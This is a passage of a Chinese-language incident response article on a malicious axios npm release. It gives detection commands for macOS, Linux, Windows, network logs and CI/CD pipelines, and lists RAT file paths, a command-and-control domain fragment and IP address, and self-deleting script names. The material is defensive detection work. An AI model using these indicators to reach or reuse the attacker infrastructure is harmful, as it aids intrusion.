0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">echo</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;POTENTIALLY AFFECTED&#34;</span></span></code></pre><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">8.2 系统层面排查</span></h3><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">macOS</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 RAT 二进制</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">ls</span></span><span leaf=""> -la /Library/Caches/com.apple.act.mond 2&gt;/dev/null &amp;&amp; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">echo</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;COMPROMISED&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查异常进程</span></span><span leaf=""><br/></span><span leaf="">ps aux | grep -i </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;com.apple.act.mond&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查文件哈希</span></span><span leaf=""><br/></span><span leaf="">shasum /Library/Caches/com.apple.act.mond 2&gt;/dev/null</span></code></pre><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Linux</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 RAT 脚本</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">ls</span></span><span leaf=""> -la /tmp/ld.py 2&gt;/dev/null &amp;&amp; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">echo</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;COMPROMISED&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查异常进程</span></span><span leaf=""><br/></span><span leaf="">ps aux | grep -i </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;ld.py&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查文件内容</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">head</span></span><span leaf=""> -20 /tmp/ld.py 2&gt;/dev/null</span></code></pre><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Windows</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查持久化文件</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Test-Path</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:PROGRAMDATA</span></span><span leaf="">\wt.exe&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-Item</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:PROGRAMDATA</span></span><span leaf="">\wt.exe&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-ErrorAction</span></span><span leaf=""> SilentlyContinue</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查文件哈希</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-FileHash</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:PROGRAMDATA</span></span><span leaf="">\wt.exe&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Algorithm</span></span><span leaf=""> SHA256</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查异常进程</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-Process</span></span><span leaf=""> | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Where-Object</span></span><span leaf=""> { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$_</span></span><span leaf="">.Path </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-eq</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:PROGRAMDATA</span></span><span leaf="">\wt.exe&#34;</span></span><span leaf=""> }</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 注意：临时文件 6202033.vbs 和 6202033.ps1 已自删除</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 但可通过事件日志和 Prefetch 追溯</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-WinEvent</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-FilterHashtable</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(126, 231, 135);"><span leaf="">@</span></span><span leaf="">{LogName=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;Microsoft-Windows-PowerShell/Operational&#39;</span></span><span leaf="">; Id=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">4104</span></span><span leaf="">} |</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Where-Object</span></span><span leaf=""> { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$_</span></span><span leaf="">.Message </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-match</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;6202033&#39;</span></span><span leaf=""> }</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 PowerShell Script Block 日志</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-WinEvent</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-LogName</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;Microsoft-Windows-PowerShell/Operational&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-MaxEvents</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">1000</span></span><span leaf=""> |</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Where-Object</span></span><span leaf=""> { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$_</span></span><span leaf="">.Message </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-like</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;*sfrclak*&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-or</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$_</span></span><span leaf="">.Message </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-like</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;*6202033*&#34;</span></span><span leaf=""> }</span></code></pre><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">8.3 网络层排查</span></h3><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># DNS 查询历史</span></span><span leaf=""><br/></span><span leaf="">grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;sfrclak&#34;</span></span><span leaf=""> /var/log/dns.log 2&gt;/dev/null</span><span leaf=""><br/></span><span leaf="">grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;sfrclak&#34;</span></span><span leaf=""> /var/log/syslog 2&gt;/dev/null</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 出站连接</span></span><span leaf=""><br/></span><span leaf="">netstat -antp | grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;142.11.206.73&#34;</span></span><span leaf=""><br/></span><span leaf="">netstat -antp | grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;8000&#34;</span></span><span leaf=""><br/></span><span leaf="">ss -antp | grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;sfrclak&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 防火墙日志</span></span><span leaf=""><br/></span><span leaf="">grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;sfrclak\|142.11.206.73&#34;</span></span><span leaf=""> /var/log/firewall.log 2&gt;/dev/null</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># HTTP 代理日志</span></span><span leaf=""><br/></span><span leaf="">grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;packages.npm.org/product&#34;</span></span><span leaf=""> /var/log/squid/access.log 2&gt;/dev/null</span></code></pre><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">8.4 CI/CD 管道排查</span></h3><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># GitHub Actions 日志</span></span><span leaf=""><br/></span><span leaf="">grep -r </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;axios.*1.14.1\|axios.*0.30.4&#34;</span></span><span leaf=""> .github/</span><span leaf=""><br/></span><span leaf="">grep -r </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;sfrclak\|142.11.206.73&#34;</span></span><span leaf=""> .github/</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 Docker 镜像</span></span><span leaf=""><br/></span><span leaf="">docker </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">history</span></span><span leaf=""> &lt;image&gt; | grep axios</span><span leaf=""><br/></span><span leaf="">docker run --</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> &lt;image&gt; sh -c </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;npm ls axios 2&gt;/dev/null; ls node_modules/plain-crypto-js 2&gt;/dev/null&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查制品仓库缓存（Artifactory/Nexus）</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 需通过各平台 API 查询是否存在 axios@1.14.1 或 axios@0.30.4 的缓存</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 CI/CD 中是否有 npm install 执行记录拉取了受影响版本</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 任何安装了受影响版本的 Pipeline 均应视为已被入侵</span></span></code></pre><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">九、应急处置措施</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">9.1 立即行动</span></h3><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" 